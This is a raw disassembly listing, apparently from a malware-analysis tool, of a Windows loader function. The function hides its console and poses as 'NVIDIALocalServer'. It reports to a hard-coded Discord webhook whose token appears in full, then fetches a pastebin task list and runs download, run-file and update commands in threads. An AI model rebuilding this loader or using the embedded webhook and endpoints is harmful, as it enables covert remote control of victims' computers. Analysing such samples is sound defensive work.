Function at 0x140006870
Capabilities:
Create thread
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x1400a96f0]
xor rax, rsp
mov qword [rbp + 0x218], rax
xor ebx, ebx
mov r12d, ebx
mov dword [rsp + 0x58], ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.NVIDIALocalServer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140006450
test al, al
je 0x1400068e1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.https:__discord.com_api_webhooks_1218419943628869652_Suh_96pkiCb5_tyWkh1WOAluVhw4fh_0_kADXho7M8_XqhK3jXj_wtb0FF8pFHT_c9Ns
lea rcx, [rbp + 0x1d8]
call fcn.140009db0
nop
lea rdx, str.Js_app_is_active__restarted_pc__
lea rcx, [rbp + 0x1b8]
call fcn.140009db0
nop
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x1d8]
call fcn.140002970
lea rdx, str.https:__pastebin.com_raw_ZN4PfkYV
lea rcx, [rbp + 0x1f8]
call fcn.140009db0
nop
lea rcx, [rbp + 0xc0]
call fcn.140007cc0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rbx
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x108], rbx
mov qword [rbp + 0x110], rbx
mov ecx, 0x40
call fcn.140083ed0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x108], rax
movabs rsi, 0x7ffffffdabf41bff
movabs rdi, 0x7fffffffffffffff
movabs r15, 0x2540be400
lea r14, [0x140000000]
nop word [rax + rax]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0xd8]
call fcn.140002c90
nop
cmp byte [rbp + 0xd8], 0
jne 0x140006a80
lea rdx, str.Failed_to_read_or_parse_JSON_data._Trying_again_later...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d0a0
lea rdx, [0x14000d270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r8, rax
cmp rbx, 0x989680
jne 0x140006a15
imul rax, r8, 0x64
jmp 0x140006a38
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
mov rax, r8
cqo
idiv rbx
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rsi
jge 0x140006a48
lea rcx, [rax + r15]
mov qword [rsp + 0x60], rcx
jmp 0x140006a4d
mov qword [rsp + 0x60], rdi
lea rcx, [rsp + 0x60]
call fcn.140013b40
nop
lea rcx, [rbp + 0xd8]
call fcn.14000b630
nop
movzx edx, byte [rbp + 0xd8]
lea rcx, [rbp + 0xe0]
call fcn.14000c1a0
nop
xor ebx, ebx
jmp 0x1400069b0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov r8d, 5
lea rdx, str.tasks
lea rcx, [rsp + 0x68]
call fcn.14000b880
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xd8]
call fcn.14000fe70
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
movups xmmword [rbp + 0x148], xmm0
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.14000bf80
mov r15, qword [rbp + 0x138]
test r15, r15
jne 0x140006b03
mov r8d, 0x330a
lea rdx, str.C:Usersmaxim_source_reposyuhhyuhhutilsjson.hpp
lea rcx, str.m_object___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx eax, byte [r15]
cmp eax, 9
ja case.0x140006b17.3
mov ecx, dword [r14 + rax*4 + 0x7bc0]
add rcx, r14
jmp rcx
mov rax, qword [r15 + 8]
mov rbx, qword [rax]
mov rbx, qword [rbx]
mov r13, qword [rbp + 0x150]
mov qword [rsp + 0x50], r13
jmp 0x140006b69
mov rdi, qword [r15 + 8]
mov rdi, qword [rdi]
mov r13, qword [rbp + 0x150]
mov qword [rsp + 0x50], r13
mov rbx, qword [rbp + 0x140]
jmp 0x140006b70
mov r13d, 1
mov qword [rsp + 0x50], r13
jmp 0x140006b62
mov r13, rbx
mov qword [rsp + 0x50], rbx
mov rbx, qword [rbp + 0x140]
mov rdi, qword [rbp + 0x148]
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
movups xmmword [rbp + 0x128], xmm0
mov rdx, rsi
lea rcx, [rbp + 0x118]
call fcn.14000bf80
mov rdx, qword [rbp + 0x118]
test rdx, rdx
jne 0x140006bbd
mov r8d, 0x3336
lea rdx, str.C:Usersmaxim_source_reposyuhhyuhhutilsjson.hpp
lea rcx, str.m_object___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [rbp + 0x118]
movzx eax, byte [rdx]
cmp eax, 9
ja case.0x140006bd0.0
mov ecx, dword [r14 + rax*4 + 0x7be8]
add rcx, r14
jmp rcx
mov rsi, qword [rdx + 8]
mov rsi, qword [rsi]
mov rax, qword [rbp + 0x130]
mov qword [rbp - 0x78], rax
jmp 0x140006c11
mov r14, qword [rdx + 8]
mov r14, qword [r14 + 8]
mov rax, qword [rbp + 0x130]
mov qword [rbp - 0x78], rax
mov rsi, qword [rbp + 0x120]
jmp 0x140006c18
mov qword [rbp - 0x78], 1
mov rsi, qword [rbp + 0x120]
mov r14, qword [rbp + 0x128]
mov qword [rsp + 0x60], r14
mov qword [rbp - 0x70], rsi
cmp r15, rdx
jne 0x140007b89
test r15, r15
jne 0x140006c49
mov r8d, 0x3420
lea rdx, str.C:Usersmaxim_source_reposyuhhyuhhutilsjson.hpp
lea rcx, str.m_object___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx edx, byte [r15]
lea r8, [0x140000000]
cmp edx, 9
ja case.0x140006c67.0
movsxd rax, edx
mov ecx, dword [r8 + rax*4 + 0x7c10]
add rcx, r8
jmp rcx
cmp rbx, rsi
jmp 0x140006c77
cmp rdi, r14
jmp 0x140006c77
cmp r13, qword [rbp - 0x78]
setne al
test al, al
je 0x1400076ea
cmp edx, 9
ja case.0x140006c92.3
mov ecx, dword [r8 + rdx*4 + 0x7c38]
add rcx, r8
jmp rcx
mov rax, qword [r15 + 8]
cmp rbx, qword [rax]
jne 0x140006cb7
mov r8d, 0x3363
lea rdx, str.C:Usersmaxim_source_reposyuhhyuhhutilsjson.hpp
lea rcx, str.m_it.object_iterator___m_object__m_data.m_value.object__end__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea r15, [rbx + 0x40]
jmp 0x140006cef
mov rax, qword [r15 + 8]
cmp rdi, qword [rax + 8]
jne 0x140006ce1
mov r8d, 0x3369
lea rdx, str.C:Usersmaxim_source_reposyuhhyuhhutilsjson.hpp
lea rcx, str.m_it.array_iterator___m_object__m_data.m_value.array__end__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r15, rdi
jmp 0x140006cef
test r13, r13
jne 0x140007b34
mov qword [rsp + 0x48], r15
lea rdx, str.type
mov rcx, r15
call fcn.14000d690
nop
mov qword [rbp + 0xe8], 0
xor r13d, r13d
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe8], r13b
or r12d, 4
mov dword [rsp + 0x58], r12d
cmp byte [rax], 3
jne 0x140007aeb
mov rdx, qword [rax + 8]
lea rax, [rbp + 0xe8]
cmp rax, rdx
je 0x140006d6e
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140006d5b
mov rdx, qword [rdx]
lea rcx, [rbp + 0xe8]
call fcn.14000b880
mov r13, qword [rbp + 0xf8]
and r12d, 0xfffffffb
or r12d, 3
lea rdx, str.schedule
mov rcx, r15
call fcn.14000d690
lea rdx, str.date
mov rcx, rax
call fcn.14000d690
nop
xor ecx, ecx
mov qword [rbp + 0x178], rcx
mov qword [rbp + 0x188], rcx
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x178], cl
or r12d, 0x20
mov dword [rsp + 0x58], r12d
cmp byte [rax], 3
jne 0x140007aa2
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x178]
cmp rax, rdx
je 0x140006df2
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140006de6
mov rdx, qword [rdx]
lea rcx, [rbp + 0x178]
call fcn.14000b880
and r12d, 0xffffffdf
or r12d, 0x18
mov dword [rsp + 0x40], r12d
lea rdx, str.schedule
mov rcx, r15
call fcn.14000d690
lea rdx, str.time
mov rcx, rax
call fcn.14000d690
nop
mov qword [rbp + 0x158], 0
xor r15d, r15d
mov qword [rbp + 0x168], r15
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x170], r12
mov byte [rbp + 0x158], r15b
mov ecx, dword [rsp + 0x40]
bts ecx, 8
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x58], ecx
cmp byte [rax], 3
jne 0x140007a59
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x158]
cmp rax, rdx
je 0x140006e9c
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140006e7e
mov rdx, qword [rdx]
lea rcx, [rbp + 0x158]
call fcn.14000b880
mov r12, qword [rbp + 0x170]
mov r15, qword [rbp + 0x168]
mov ecx, dword [rsp + 0x40]
btr ecx, 8
or ecx, 0xc0
mov dword [rsp + 0x40], ecx
movabs rax, 0x7fffffffffffffff
sub rax, r13
cmp rax, 1
jb 0x140007a53
lea r9, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae r9, qword [rbp + 0xe8]
mov qword [rsp + 0x30], 1
lea rax, [0x140097e7c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea rcx, [rsp + 0x68]
call fcn.140010080
mov r13d, dword [rsp + 0x40]
bts r13d, 9
lea rdx, [rbp + 0x178]
cmp qword [rbp + 0x190], 0x10
cmovae rdx, qword [rbp + 0x178]
mov r8, qword [rbp + 0x188]
lea rcx, [rsp + 0x68]
call fcn.140009cd0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
bts r13d, 0xa
lea r8d, [rcx + 1]
lea rdx, [0x140097e7c]
lea rcx, [rbp - 0x20]
call fcn.140009cd0
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
bts r13d, 0xb
lea rdx, [rbp + 0x158]
cmp r12, 0x10
cmovae rdx, qword [rbp + 0x158]
mov r8, r15
lea rcx, [rbp - 0x40]
call fcn.140009cd0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a8], xmm1
xor r15d, r15d
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
bts r13d, 0xc
mov dword [rsp + 0x40], r13d
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14000702d
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007028
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078f3
call fcn.140083fe4
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140007078
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007073
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078fa
call fcn.140083fe4
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400070c4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007901
call fcn.140083fe4
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov r13, qword [rbp + 0x108]
mov r15, qword [r13 + 8]
mov r12, r13
mov qword [rsp + 0x58], r13
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0xb0], rax
cmp byte [r15 + 0x19], 0
jne 0x140007197
cmp qword [rbp + 0x1b0], 0x10
setae r14b
mov r13, qword [rbp + 0x1a8]
mov rsi, rax
nop dword [rax + rax]
lea rcx, [r15 + 0x20]
lea rdx, [rbp + 0x198]
test r14b, r14b
cmovne rdx, rsi
mov r12, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x140007140
mov rcx, qword [rcx]
mov r8, r12
cmp r13, r12
cmovb r8, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007159
jns 0x140007164
mov al, 1
jmp 0x140007166
cmp r12, r13
jae 0x140007162
mov al, 1
jmp 0x140007166
jbe 0x140007175
xor al, al
test al, al
je 0x140007175
mov r15, qword [r15 + 0x10]
mov r12, qword [rsp + 0x58]
jmp 0x140007180
mov r12, r15
mov qword [rsp + 0x58], r15
mov r15, qword [r15]
cmp byte [r15 + 0x19], 0
je 0x140007120
mov rsi, qword [rbp - 0x70]
mov r14, qword [rsp + 0x60]
mov r13, qword [rbp + 0x108]
cmp byte [r12 + 0x19], 0
jne 0x1400071b4
lea r8, [r12 + 0x20]
lea rdx, [rbp + 0x198]
call fcn.1400184f0
test al, al
je 0x1400071b7
mov r12, r13
mov r13, qword [rbp + 0xe8]
cmp r12, qword [rbp + 0x108]
jne 0x14000750e
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
setae r12b
cmovae rcx, r13
mov r15, qword [rbp + 0xf8]
cmp r15, 8
jne 0x1400072e2
mov r8, r15
lea rdx, str.download
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400072e2
lea rdx, str.enabled
mov rcx, qword [rsp + 0x48]
call fcn.14000d690
cmp byte [rax], 4
jne 0x140007918
cmp byte [rax + 8], 0
je 0x1400072e2
lea ecx, [r15 + 0x10]
call fcn.140083ed0
mov r15, rax
mov qword [rbp + 0x70], rax
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.14000c690
lea rax, [0x140004560]
mov qword [r15 + 0x10], rax
mov qword [rbp + 0xb0], r15
or dword [rsp + 0x40], 0x2000
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov r9, r15
lea r8, [0x140019690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140007908
mov rdx, qword [rbp + 0xc8]
cmp rdx, qword [rbp + 0xd0]
je 0x1400072c0
xorps xmm0, xmm0
movaps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movups xmmword [rdx], xmm1
add qword [rbp + 0xc8], 0x10
jmp 0x1400072d1
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0xc0]
call fcn.1400143e0
nop
cmp dword [rbp - 0x58], 0
je 0x1400074eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp + 0xe8]
test r12b, r12b
cmovne rcx, r13
cmp r15, 7
jne 0x1400073e9
mov r8, r15
lea rdx, str.runfile
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400073e9
lea rdx, str.enabled
mov rcx, qword [rsp + 0x48]
call fcn.14000d690
cmp byte [rax], 4
jne 0x14000796a
cmp byte [rax + 8], 0
je 0x1400073e9
lea ecx, [r15 + 0x11]
call fcn.140083ed0
mov r15, rax
mov qword [rbp + 0x78], rax
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.14000c690
lea rax, [0x140004e60]
mov qword [r15 + 0x10], rax
mov qword [rbp + 0xb0], r15
or dword [rsp + 0x40], 0x4000
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov r9, r15
lea r8, [0x140019690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x14000795a
mov rdx, qword [rbp + 0xc8]
cmp rdx, qword [rbp + 0xd0]
je 0x1400073c7
xorps xmm0, xmm0
movaps xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movups xmmword [rdx], xmm1
add qword [rbp + 0xc8], 0x10
jmp 0x1400073d8
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0xc0]
call fcn.1400143e0
nop
cmp dword [rbp - 0x48], 0
je 0x1400074eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp + 0xe8]
test r12b, r12b
cmovne rcx, r13
cmp r15, 4
jne 0x14000746d
mov r8, r15
lea rdx, str.beep
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000746d
lea rdx, str.enabled
mov rcx, qword [rsp + 0x48]
call fcn.14000d690
cmp byte [rax], r15b
jne 0x1400079ac
cmp byte [rax + 8], 0
je 0x14000746d
mov r8, qword [rsp + 0x48]
lea rdx, [0x140005630]
lea rcx, [rbp + 0x80]
call fcn.14000d9f0
nop
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.140007c90
nop
cmp dword [rbp + 0x88], 0
je 0x1400074eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp + 0xe8]
test r12b, r12b
cmovne rcx, r13
cmp r15, 6
jne 0x1400074eb
mov r8, r15
lea rdx, str.update
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400074eb
lea rdx, str.enabled
mov r15, qword [rsp + 0x48]
mov rcx, r15
call fcn.14000d690
cmp byte [rax], 4
jne 0x1400079f5
cmp byte [rax + 8], 0
je 0x1400074eb
mov r8, r15
lea rdx, [0x140005940]
lea rcx, [rbp + 0x90]
call fcn.14000d9f0
nop
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.140007c90
nop
cmp dword [rbp + 0x98], 0
jne 0x1400079ee
lea r8, [rbp + 0x198]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x108]
call fcn.1400141a0
mov rcx, qword [rbp + 0x198]
jmp 0x140007515
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0x1b0]
cmp rax, 0x10
jb 0x140007551
lea rdx, [rax + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000754b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007a37
call fcn.140083fe4
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140007593
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000758d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007a3e
call fcn.140083fe4
nop
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x1400075d5
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007a45
call fcn.140083fe4
nop
mov rax, qword [rbp + 0x100]
cmp rax, 0x10
jb 0x140007613
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14000760b
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007a4c
mov rcx, r13
call fcn.140083fe4
mov r15, qword [rbp + 0x138]
movzx eax, byte [r15]
cmp eax, 9
ja case.0x140007638.0
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x7c60]
add rcx, rdx
jmp rcx
mov rax, rbx
mov rcx, qword [rbx + 0x10]
cmp byte [rcx + 0x19], 0
je 0x14000767a
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
jne 0x14000769c
cmp rax, qword [rbx + 0x10]
jne 0x14000769c
mov rax, rbx
mov rbx, qword [rbx + 8]
cmp byte [rbx + 0x19], 0
je 0x140007651
mov r12d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x50]
mov rdx, qword [rbp + 0x118]
jmp 0x140006c21
mov rbx, rcx
mov rax, qword [rcx]
cmp byte [rax + 0x19], 0
jne 0x14000769c
nop word [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x140007690
mov r12d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x50]
mov rdx, qword [rbp + 0x118]
jmp 0x140006c21
add rdi, 0x10
mov r12d, dword [rsp + 0x40]
mov r13, qword [rsp + 0x50]
mov rdx, qword [rbp + 0x118]
jmp 0x140006c21
mov r13, qword [rsp + 0x50]
inc r13
mov qword [rsp + 0x50], r13
mov r12d, dword [rsp + 0x40]
mov rdx, qword [rbp + 0x118]
jmp 0x140006c21
mov rbx, qword [rbp + 0xc0]
mov rdi, qword [rbp + 0xc8]
cmp rbx, rdi
je 0x140007753
nop dword [rax]
cmp dword [rbx + 8], 0
je 0x14000773c
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x140007b76
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0xb0], xmm0
xor edx, edx
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x140007b6a
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x140007700
mov rdi, qword [rbp + 0xc8]
mov rbx, qword [rbp + 0xc0]
mov rax, rdi
cmp rbx, rdi
je 0x1400077b0
nop dword [rax + rax]
cmp dword [rbx + 8], 0
je 0x14000776f
add rbx, 0x10
cmp rbx, rdi
jne 0x140007760
cmp rbx, rdi
je 0x1400077b0
lea rcx, [rbx + 0x10]
cmp rcx, rdi
je 0x1400077b0
nop dword [rax]
cmp dword [rcx + 8], 0
je 0x1400077a0
cmp dword [rbx + 8], 0
jne 0x140007b82
xorps xmm0, xmm0
movups xmm1, xmmword [rcx]
movups xmmword [rcx], xmm0
movups xmmword [rbx], xmm1
add rbx, 0x10
add rcx, 0x10
cmp rcx, rax
jne 0x140007780
mov rdi, qword [rbp + 0xc8]
cmp rbx, rax
je 0x14000780d
cmp rax, rdi
je 0x1400077eb
mov rcx, rbx
sub rcx, rax
cmp dword [rcx + rax + 8], 0
jne 0x140007b82
xorps xmm0, xmm0
movups xmm1, xmmword [rax]
movups xmmword [rax], xmm0
movups xmmword [rbx], xmm1
add rbx, 0x10
add rax, 0x10
cmp rax, rdi
jne 0x1400077c0
mov rdi, qword [rbp + 0xc8]
mov rax, rbx
cmp rbx, rdi
je 0x140007806
cmp dword [rax + 8], 0
jne 0x140007b82
add rax, 0x10
cmp rax, rdi
jne 0x1400077f3
mov qword [rbp + 0xc8], rbx
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r8, rax
cmp rbx, 0x989680
jne 0x14000782e
imul rax, r8, 0x64
jmp 0x140007851
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
mov rax, r8
cqo
idiv rbx
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rsi, 0x7ffffffdabf41bff
movabs r15, 0x2540be400
movabs rdi, 0x7fffffffffffffff
cmp rax, rsi
jge 0x140007881
lea rcx, [rax + r15]
mov qword [rbp + 0xb0], rcx
jmp 0x140007888
mov qword [rbp + 0xb0], rdi
lea rcx, [rbp + 0xb0]
call fcn.140013b40
nop
lea rcx, [rbp + 0xd8]
call fcn.14000b630
nop
movzx edx, byte [rbp + 0xd8]
lea rcx, [rbp + 0xe0]
call fcn.14000c1a0
nop
xor ebx, ebx
jmp 0x1400069a3
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x68]
call fcn.140009db0
nop
lea r8, [rsp + 0x68]
mov edx, Ordinal_217
lea rcx, [rbp + 0x38]
call fcn.14000daa0
lea rdx, [0x1400a5918]
lea rcx, [rbp + 0x38]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp - 0x58], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
lea rcx, [rbp + 0x38]
call fcn.140024da0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov dword [rbp - 0x48], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
lea rcx, [rbp + 0x38]
call fcn.140024da0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
lea rcx, [rbp + 0x38]
call fcn.140024da0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
lea rcx, [rbp + 0x38]
call fcn.140024da0
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001220
nop
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
lea rdx, str.type_must_be_string__but_is
lea rcx, [rbp + 0x38]
call fcn.140024e50
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rbp]
call fcn.14000dde0
lea rdx, [0x1400a58f8]
lea rcx, [rbp]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.14000c600
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
